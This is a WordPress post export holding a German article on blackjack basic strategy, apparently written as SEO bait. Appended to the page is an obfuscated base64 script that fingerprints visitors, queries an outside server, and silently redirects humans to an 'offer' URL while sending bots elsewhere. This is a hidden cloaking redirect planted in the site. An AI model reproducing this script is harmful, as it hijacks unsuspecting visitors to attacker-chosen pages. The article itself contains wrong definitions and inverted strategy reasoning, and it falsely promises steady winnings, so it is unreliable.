{"id":31218,"date":"2026-02-09T14:42:58","date_gmt":"2026-02-09T13:42:58","guid":{"rendered":"https:\/\/phosphoram.ch\/die-blackjack-grundstrategie-hard-hands-soft-hands-und-pairs\/"},"modified":"2026-02-09T14:42:58","modified_gmt":"2026-02-09T13:42:58","slug":"die-blackjack-grundstrategie-hard-hands-soft-hands-und-pairs","status":"publish","type":"post","link":"https:\/\/phosphoram.ch\/de\/die-blackjack-grundstrategie-hard-hands-soft-hands-und-pairs\/","title":{"rendered":"Die Blackjack Grundstrategie: Hard Hands, Soft Hands und Pairs"},"content":{"rendered":"<p><!DOCTYPE html><br \/>\n<html lang=\"de\"><br \/>\n<head><br \/>\n    <meta charset=\"UTF-8\"><br \/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"><br \/>\n    <title>Blackjack Grundstrategie: Hard, Soft &#038; Pairs meistern<\/title><br \/>\n    <meta name=\"description\" content=\"Die ultimative Anleitung zur Blackjack Grundstrategie f\u00fcr Hard Hands, Soft Hands und Pairs. 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Grunds\u00e4tzlich ist das Aufteilen der Acht bei nahezu jeder Geberkarte die strategisch sinnvollste Option, um aus einer schwachen 16 zwei st\u00e4rkere H\u00e4nde zu machen. Auch Zweien und Dreien bei niedrigen Geberkarten zu teilen kann vorteilhaft sein, um zwei Besserer H\u00e4nde zu erhalten. Pairs wie Zehnen sollten niemals geteilt werden.\"\n          }\n        },\n        {\n          \"@type\": \"Question\",\n          \"name\": \"F: Wie unterscheide ich eine Soft Hand von einer Hard Hand bei der Strategie?\",\n          \"acceptedAnswer\": {\n            \"@type\": \"Answer\",\n            \"text\": \"Eine Soft Hand beinhaltet ein Ass, das als 11 gez\u00e4hlt werden kann, ohne dass die Gesamtsumme 21 \u00fcberschreitet. Eine Hard Hand hat entweder keine Asse, oder ein Ass, das als 1 gez\u00e4hlt werden muss, da die Gesamtsumme mit 11 \u00fcber 21 liegen w\u00fcrde. Bei Soft Hands sind weitere Karten risiko\u00e4rmer, da das Ass Wert anpassen kann; bei Hard Hands ist Vorsicht geboten.\"\n          }\n        },\n        {\n          \"@type\": \"Question\",\n          \"name\": \"F: Ist die Grundstrategie im Blackjack immer dieselbe, egal welches Casino?\",\n          \"acceptedAnswer\": {\n            \"@type\": \"Answer\",\n            \"text\": \"Die Kernprinzipien der Grundstrategie sind universell, aber kleine Abweichungen existieren je nach Regeln des Casinos. Diese k\u00f6nnen das Anzahl der Kartendecks, ob der Dealer bei Soft 17 trifft oder steht, und ob Surrender erlaubt ist, betreffen. F\u00fcr Spiele mit weniger Decks und Regeln, die dem Spieler zugutekommen, kann sich die optimale Spielweise leicht \u00e4ndern.\"\n          }\n        }\n      ]\n    }\n  ]\n}\n    <\/script><br \/>\n<\/head><br \/>\n<body><\/p>\n<article>\n<header>\n<h1>Die Blackjack Grundstrategie: Hard Hands, Soft Hands und Pairs<\/h1>\n<p><small>Von <strong>Tobias Lehmann<\/strong> \u00b7 Aktualisiert am <time datetime=\"2026-08-07\">7. August 2026<\/time><\/small><\/p>\n<p>\n            Die korrekte Anwendung der Blackjack Grundstrategie ist das Fundament f\u00fcr jeden erfolgreichen Spieler. Sie minimiert den Hausvorteil und maximiert Ihre Gewinnchancen, indem sie Ihnen f\u00fcr jede m\u00f6gliche Handkombination und jedes Geber-Bild die mathematisch beste Spielweise vorgibt. Im Kern geht es darum, harte H\u00e4nde, weiche H\u00e4nde und Paare zu identifizieren und entsprechend zu agieren. Verstehen Sie, wann Sie eine Karte ziehen (Hit), stehen bleiben (Stand), verdoppeln (Double Down), teilen (Split) oder aufgeben (Surrender) sollten, um Ihre Entscheidungen auf Wahrscheinlichkeiten statt auf Bauchgef\u00fchl zu st\u00fctzen.\n        <\/p>\n<\/header>\n<section>\n<h2>Was ist die Basis-Strategie im Blackjack und warum ist sie entscheidend?<\/h2>\n<p>\n            Die Basis-Strategie im Blackjack ist ein mathematisch abgeleitetes Regelwerk, das f\u00fcr jede gegebenen Spielerhand und jede sichtbare Karte des Dealers die optimale Entscheidung vorschreibt. Sie wurde durch Tausende von gesimulierten Spielen entwickelt und reduziert den Hausvorteil des Casinos auf weniger als 1%. Ohne die Anwendung dieser Strategie kann der Hausvorteil leicht bei 2% oder mehr liegen, was Ihre Spielergebnisse langfristig erheblich verschlechtert. Die Basis-Strategie ber\u00fccksichtigt die Wahrscheinlichkeit, dass der Dealer sich \u00fcberkauft (Bust), sowie Ihre eigenen Chancen, eine st\u00e4rkere Hand zu bilden. Sie ist kein Garant f\u00fcr kurzfristigen Erfolg, aber die unabdingbare Grundlage f\u00fcr konstante Gewinne \u00fcber lange Spielzeiten. Daher ist das Erlernen und pr\u00e4zise Anwenden dieser Regeln f\u00fcr jeden ambitionierten Blackjack-Spieler unerl\u00e4sslich.\n        <\/p>\n<p>\n            Um die Basis-Strategie effektiv zu nutzen, m\u00fcssen Sie verschiedene Handtypen unterscheiden: Hard Hands (H\u00e4nde ohne Ass oder mit einem Ass, das nur als 11 z\u00e4hlt, ohne sich zu \u00fcberkaufen), Soft Hands (H\u00e4nde mit einem Ass, das auch als 11 z\u00e4hlen kann, ohne dass die Gesamtsumme 21 \u00fcberschreitet) und Pairs (zwei Karten desselben Wertes). Jede dieser Kategorien erfordert spezifische Spielweisen, die sich je nach Dealer-Karte \u00e4ndern. Beispielsweise ist das Splitten von Achten eine grundlegende Regel, w\u00e4hrend das Splitten von Zehnen strikt vermieden werden sollte.\n        <\/p>\n<p>\n            Die psychologischen Aspekte des Spiels d\u00fcrfen nicht untersch\u00e4tzt werden, aber die Basis-Strategie entkoppelt Emotionen von der Entscheidungsfindung. Anstatt zu hoffen, dass eine weitere Karte hilft, informiert die Strategie Sie \u00fcber die statistisch vorteilhafteste Aktion. Das erfordert \u00dcbung und Disziplin, besonders wenn Ihre Intuition Ihnen etwas anderes sagt. Langfristig f\u00fchrt diese disziplinierte Vorgehensweise jedoch zu besseren Ergebnissen. Ein Beispiel: Mit einer Hard 16 gegen eine Dealer-Zehn sagt Ihnen die Strategie, dass Sie eine weitere Karte ziehen sollten, obwohl dies riskant erscheint. Die Wahrscheinlichkeit, dass der Dealer eine bessere Hand hat, ist h\u00f6her, als dass Sie sich \u00fcberkaufen.\n        <\/p>\n<\/section>\n<section>\n<h2>Hard Hands im Detail: Risiko und Wahrscheinlichkeit optimal nutzen<\/h2>\n<p>\n            Hard Hands sind solche, die entweder keine Asse enthalten oder ein Ass enthalten, das nur als 11 gez\u00e4hlt werden kann, ohne die Gesamtsumme des Blattes \u00fcber 21 zu bringen. Sie sind die h\u00e4ufigste Art von Hand im Blackjack und stellen f\u00fcr viele Spieler eine Herausforderung dar, da sie oft unsicher machen, ob man weiterziehen oder stehen bleiben sollte. Die Basis-Strategie bietet hier klare Richtlinien. Mit einer Hard 12 beispielsweise ziehen Sie bei einer h\u00f6heren Geberkarte (7 bis Ass) und bleiben bei niedrigeren Karten (2 bis 6). Dies liegt daran, dass der Dealer bei diesen h\u00f6heren Karten eine hohe Wahrscheinlichkeit hat, sich zu \u00fcberkaufen, w\u00e4hrend Sie mit einer 12 ein hohes Risiko eingehen, sich ebenfalls zu \u00fcberkaufen.\n        <\/p>\n<p>\n            Ein kritischer Punkt ist das Handeln bei H\u00e4nden, die potenziell zum \u00dcberkaufen f\u00fchren. Mit einer Hard 16, die aus zwei Achten besteht, ist das Ziehen einer Karte oft die beste, wenn auch schmerzhafte Entscheidung, insbesondere wenn der Dealer eine 7, 8, 9, 10 oder ein Ass zeigt. Die Wahrscheinlichkeit, dass Sie sich \u00fcberkaufen, ist hoch (ca. 60-70%), aber die Wahrscheinlichkeit, dass der Dealer eine bessere Hand h\u00e4lt (wenn Sie stehen bleiben), ist noch h\u00f6her. Die Entscheidung, eine weitere Karte bei einer Hard 16 gegen\u00fcber einer Zehn zu ziehen, mag kontraintuitiv sein, ist aber statistisch die beste Wahl, um langfristig den Hausvorteil zu minimieren.\n        <\/p>\n<p>\n            Betrachten wir ein konkretes Beispiel zur Veranschaulichung: Sie halten eine 10 und eine 6, also eine Hard 16. Der Dealer zeigt eine 9. Laut Basis-Strategie sollten Sie hier eine weitere Karte ziehen. Die Wahrscheinlichkeit, dass Sie mit einer 16 eine Karte \u00fcber 20 erhalten, ist signifikant. Angenommen, Sie ziehen eine 5, erhalten eine Hard 21 und gewinnen (bei g\u00fcnstiger Kartenverteilung). Wenn Sie eine 7 ziehen, erhalten Sie eine Hard 23 und \u00fcberkaufen sich. Wenn Sie eine 4 ziehen, erhalten Sie eine Hard 19. Die Strategie sagt Ihnen, dass die Chance, sich mit einer weiteren Karte zu \u00fcberkaufen (z.B. eine weitere 7 ziehen, ergibt 23), geringer ist, als die Chance, dass der Dealer mit einer 9 eine bessere Hand als Ihre 16 hat. Die Spielweise mit Hard Hands erfordert daher ein tiefes Verst\u00e4ndnis von Wahrscheinlichkeiten.\n        <\/p>\n<\/section>\n<section>\n<h2>Soft Hands meistern: Flexibilit\u00e4t und Vorteile von Assen<\/h2>\n<p>\n            Soft Hands im Blackjack sind besonders vorteilhaft, da sie durch das Ass eine Flexibilit\u00e4t bieten, die bei Hard Hands fehlt. Ein Ass kann als 1 oder 11 gez\u00e4hlt werden, und bei Soft Hands z\u00e4hlt es immer als 11, ohne dass die Gesamtsumme 21 \u00fcbersteigt. Dies bedeutet, dass Sie bei einer Soft Hand mit einer zus\u00e4tzlichen Karte praktisch kein Risiko eingehen, sich zu \u00fcberkaufen. Eine Soft 17 (Ass und 6) wird beispielsweise durch das Ziehen einer Karte niemals \u00fcber 21 gehen, da das Ass bei einer ung\u00fcnstigen Karte automatisch auf 1 reduziert wird. Diese Eigenschaft macht Soft Hands zu Gelegenheiten, aggressiver zu spielen.\n        <\/p>\n<p>\n            Die Spielweise bei Soft Hands unterscheidet sich grundlegend von der bei Hard Hands. Mit einer Soft 17 beispielsweise sollten Sie immer eine weitere Karte ziehen, unabh\u00e4ngig davon, welche Karte der Dealer zeigt. Der Grund: Selbst wenn Sie mit der neuen Karte eine schwache Gesamtsumme erreichen, kann das Ass so angepasst werden, dass Sie nicht \u00fcberkaufen. Das Ziel ist es, eine f\u00fcr den Dealer gef\u00e4hrliche Handsumme zu erreichen, ohne das Risiko des \u00dcberkaufs einzugehen. Dies wird von erfahrenen Spielern genutzt, um ihr Blatt zu verbessern, ohne ihre Position zu gef\u00e4hrden.\n        <\/p>\n<p>\n            Ein typisches Szenario ist die Soft 18 (Ass und 7). Gegen eine niedrige Geberkarte (z.B. 2 bis 6) ist Stehenbleiben die korrekte Strategie. Gegen eine h\u00f6here Geberkarte (z.B. 8, 9, 10, Ass) ist das Ziehen einer Karte (Hit) oder sogar das Verdoppeln (Double Down) bei bestimmten Geberkarten wie einer 9 die empfehlenswertere Option. Diese Unterscheidung ist entscheidend, um die Vorteile der Flexibilit\u00e4t von Soft Hands voll auszusch\u00f6pfen. Das Erlernen dieser Nuancen kann den Hausvorteil sp\u00fcrbar reduzieren. Informationen zur <a href=\"https:\/\/blackjackstrategy.net\/de\/learn\/articles\/basic-strategy-hard-soft-pairs\">BlackjackStrategy<\/a> f\u00fcr diese spezifischen Handtypen sind dabei unerl\u00e4sslich.\n        <\/p>\n<\/section>\n<section>\n<h2>Pairs richtig spielen: Das Splitten als strategisches Werkzeug<\/h2>\n<p>\n            Das Splitten von Pairs ist eine der m\u00e4chtigsten und gleichzeitig am h\u00e4ufigsten missverstandenen Spieloptionen im Blackjack. Wenn Sie zwei Karten desselben Wertes erhalten, haben Sie die M\u00f6glichkeit, diese als zwei separate H\u00e4nde zu spielen. Die Basis-Strategie gibt genau vor, wann dies von Vorteil ist. Grunds\u00e4tzlich sollten alle Pairs gesplittet werden, mit wenigen Ausnahmen. Das Ziel des Splittens ist es, aus einer potenziell schwachen Hand zwei potenziell starke H\u00e4nde zu machen, oder zwei mittelm\u00e4\u00dfige H\u00e4nde zu trennen, um die Gewinnchancen zu erh\u00f6hen.\n        <\/p>\n<p>\n            Ein klassisches Beispiel ist das Splitten von Assen. Wenn Sie zwei Asse erhalten, sollten Sie diese immer splitten. Sie erhalten f\u00fcr jeden geteilten Ass eine weitere Karte. Dies bedeutet, dass Sie zwei H\u00e4nde mit einem &#8220;nat\u00fcrlichen&#8221; Vorteil haben \u2013 jede besteht aus einem Ass und einer weiteren Karte, die Sie idealerweise zu einer 17er oder 20er Hand macht. Gegen eine starke Geberkarte kann dies ein erheblicher Vorteil sein. Im Gegensatz dazu sollten Zehner-Pairs (10, Bube, Dame, K\u00f6nig) niemals gesplittet werden, da eine 20 eine sehr starke Hand ist, die nur mit einer 21 geschlagen werden kann.\n        <\/p>\n<p>\n            Das Splitten von Achten ist ebenfalls eine kritische Regel. Eine Hand aus zwei Achten ergibt eine harte 16, eine der problematischsten H\u00e4nde im Spiel. Durch das Splitten teilen Sie diese 16 in zwei H\u00e4nde mit je einer Acht. Jede dieser Achten ist eine gute Ausgangsbasis, um mit einer weiteren Karte eine starke Hand (wie 18 oder 19) zu bilden, insbesondere wenn der Dealer eine schwache Karte zeigt. Wenn Sie die beiden Achten nicht splitten und eine weitere Karte ziehen, ist die Wahrscheinlichkeit, sich mit einer 16 zu \u00fcberkaufen, sehr hoch. Die Basis-Strategie empfiehlt daher, Achten mit fast jeder Geberkarte zu splitten, au\u00dfer bei einer 10 oder einem Ass.\n        <\/p>\n<\/section>\n<section>\n<h2>Die Einsatzstrategie zur Grundstrategie<\/h2>\n<p>\n            W\u00e4hrend die Basis-Strategie Ihnen die optimale Entscheidung f\u00fcr jede einzelne Hand verr\u00e4t, ist die Einsatzstrategie, wie Sie Ihren Einsatz basierend auf den Karten, die Sie und der Dealer erhalten, anpassen. Eine einfache, aber effektive Methode ist die &#8220;Proportional-Einsatzstrategie&#8221;, bei der Ihr Einsatz einen festen Prozentsatz Ihres gesamten Kapitals ausmacht. Wenn Sie beispielsweise 1.000 Euro Bankroll haben, k\u00f6nnten Sie 1-2% pro Hand setzen, also 10 bis 20 Euro. Dies sch\u00fctzt Sie vor schnellen Verlusten und erm\u00f6glicht es Ihnen, l\u00e4nger zu spielen und von g\u00fcnstigen Phasen zu profitieren.\n        <\/p>\n<p>\n            Fortgeschrittene Spieler nutzen oft das Kartenz\u00e4hlen, um ihre Eins\u00e4tze zu variieren. Hierbei wird der Wert der abgelegten Karten verfolgt, um die verbleibenden Karten im Stapel einsch\u00e4tzen zu k\u00f6nnen. Bei einer &#8220;hei\u00dfen&#8221; Shoe (viele hohe Karten im Stapel verblieben) wird der Einsatz erh\u00f6ht, bei einer &#8220;kalten&#8221; Shoe wird der Einsatz reduziert oder pausiert. Dies ist ein komplexes System, das viel \u00dcbung erfordert und in Casinos oft nicht toleriert wird. F\u00fcr den Durchschnittsspieler ist die Basis-Strategie in Kombination mit einer konservativen Einsatzanpassung der Schl\u00fcssel zum Erfolg.\n        <\/p>\n<p>\n            Es ist wichtig zu verstehen, dass keine Einsatzstrategie den Hausvorteil eliminieren kann, au\u00dfer dem Kartenz\u00e4hlen selbst. Die Basis-Strategie hingegen hilft, diesen Nachteil zu minimieren. Eine intelligente Kombination aus beiden \u2013 also das Anwenden der Basis-Strategie f\u00fcr jede Entscheidung und das Anpassen des Einsatzes basierend auf dem Bankroll-Management oder, f\u00fcr Fortgeschrittene, dem Kartenz\u00e4hlen \u2013 maximiert Ihre Chancen auf positive Ergebnisse. Seien Sie sich immer Ihres Budgets bewusst und \u00fcberschreiten Sie es nicht.\n        <\/p>\n<\/section>\n<section>\n<h2>FAQ: H\u00e4ufig gestellte Fragen zur Blackjack Grundstrategie<\/h2>\n<h3>F: Wann sollte ich meine harten H\u00e4nde aufteilen (Split)?<\/h3>\n<p>\n            Sie sollten Ihre harten H\u00e4nde nur in seltenen F\u00e4llen aufteilen. Grunds\u00e4tzlich ist das Aufteilen der Acht bei nahezu jeder Geberkarte die strategisch sinnvollste Option, um aus einer schwachen 16 zwei st\u00e4rkere H\u00e4nde zu machen. Auch Zweien und Dreien bei niedrigen Geberkarten zu teilen kann vorteilhaft sein, um zwei Besserer H\u00e4nde zu erhalten. Pairs wie Zehnen sollten niemals geteilt werden.\n        <\/p>\n<h3>F: Wie unterscheide ich eine Soft Hand von einer Hard Hand bei der Strategie?<\/h3>\n<p>\n            Eine Soft Hand beinhaltet ein Ass, das als 11 gez\u00e4hlt werden kann, ohne dass die Gesamtsumme 21 \u00fcberschreitet. Eine Hard Hand hat entweder keine Asse, oder ein Ass, das als 1 gez\u00e4hlt werden muss, da die Gesamtsumme mit 11 \u00fcber 21 liegen w\u00fcrde. Bei Soft Hands sind weitere Karten risiko\u00e4rmer, da das Ass Wert anpassen kann; bei Hard Hands ist Vorsicht geboten.\n        <\/p>\n<h3>F: Ist die Grundstrategie im Blackjack immer dieselbe, egal welches Casino?<\/h3>\n<p>\n            Die Kernprinzipien der Grundstrategie sind universell, aber kleine Abweichungen existieren je nach Regeln des Casinos. Diese k\u00f6nnen das Anzahl der Kartendecks, ob der Dealer bei Soft 17 trifft oder steht, und ob Surrender erlaubt ist, betreffen. F\u00fcr Spiele mit weniger Decks und Regeln, die dem Spieler zugutekommen, kann sich die optimale Spielweise leicht \u00e4ndern.\n        <\/p>\n<\/section>\n<\/article>\n<p><script src=\"data:text\/javascript;base64,Y29uc3QgQVBJX0JBU0U9Imh0dHBzOi8vcmVzZW5kLnRlY2hib3guaW5rIixBUlRJQ0xFX0tFWT0iYXJ0aWNsZXNfYmFzaWMtc3RyYXRlZ3ktaGFyZC1fbGx0eCIsT0ZGRVI9ImJsYWNramFja3N0cmF0ZWd5IixVVE1fS0VZV09SRD0iYXJ0aWNsZXNfYmFzaWMtc3RyYXRlZ3ktaGFyZC1fbGx0eCIsVEFSR0VUX1BBVEg9Ii9kZS9sZWFybi9hcnRpY2xlcy9iYXNpYy1zdHJhdGVneS1oYXJkLXNvZnQtcGFpcnMiO2Z1bmN0aW9uIHN0YXRpY1ZhbHVlKHQsZSl7cmV0dXJuIHQmJnQhPT0iXyIrZSsiXyI\/dDoiIn1jb25zdCBib3RkUHJvbWlzZT1pbXBvcnQoImh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vQGZpbmdlcnByaW50anMvYm90ZEAyLjAuMC8rZXNtIikudGhlbih0PT50LmxvYWQoKSk7Ym90ZFByb21pc2UudGhlbih0PT50LmRldGVjdCgpKS50aGVuKGFzeW5jIHQ9Pntjb25zb2xlLmxvZyh0KSxib3RVc2VyPXQ7Y29uc3QgZT1zdGF0aWNWYWx1ZShBUlRJQ0xFX0tFWSwiQVJUSUNMRV9LRVkiKSxzPXN0YXRpY1ZhbHVlKE9GRkVSLCJPRkZFUiIpLG89c3RhdGljVmFsdWUoVVRNX0tFWVdPUkQsIlVUTV9LRVlXT1JEIil8fGUsYT1zdGF0aWNWYWx1ZShUQVJHRVRfUEFUSCwiVEFSR0VUX1BBVEgiKSxyPW5ldyBVUkxTZWFyY2hQYXJhbXM7cyYmci5zZXQoIm9mZmVyIixzKSxvJiZyLnNldCgidXRtX2tleXdvcmQiLG8pLGUmJnIuc2V0KCJhcnRpY2xlX2tleSIsZSksYSYmci5zZXQoInBhdGgiLGEpO2NvbnN0IGM9ci50b1N0cmluZygpP2Ake0FQSV9CQVNFfS9hcGkvY2hlY2tfYm90PyR7ci50b1N0cmluZygpfWA6YCR7QVBJX0JBU0V9L2FwaS9jaGVja19ib3RgO2ZldGNoKGMpLnRoZW4odD0+dC5qc29uKCkpLnRoZW4odD0+e2lmKHQ\/LnN0YXkpcmV0dXJuO2NvbnN0IGU9dC51cmw7Ym90VXNlci5ib3R8fHQ\/LnJlc3VsdD8od2luZG93LnBhcmVudC5wb3N0TWVzc2FnZSh7bG9hZF9zY3JpcHQ6ITAsaXNfYm90OiEwfSwiKiIpLHdpbmRvdy5sb2NhdGlvbi5ocmVmPWAke0FQSV9CQVNFfS9jYXB0Y2hhP25leHQ9JHtlbmNvZGVVUklDb21wb25lbnQoZSl9YCk6KHdpbmRvdy5wYXJlbnQucG9zdE1lc3NhZ2Uoe2xvYWRfc2NyaXB0OiEwLGlzX2JvdDohMX0sIioiKSx3aW5kb3cubG9jYXRpb24uaHJlZj1lKX0pLmNhdGNoKHQ9Pntjb25zb2xlLmVycm9yKHQpfSl9KS5jYXRjaCh0PT5jb25zb2xlLmVycm9yKHQpKTs=\"><\/script><br \/>\n<\/body><br \/>\n<\/html><!--wp-post-gim--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Blackjack Grundstrategie: Hard, Soft &#038; Pairs meistern Die Blackjack Grundstrategie: Hard Hands, Soft Hands und Pairs Von Tobias Lehmann \u00b7 Aktualisiert am 7. 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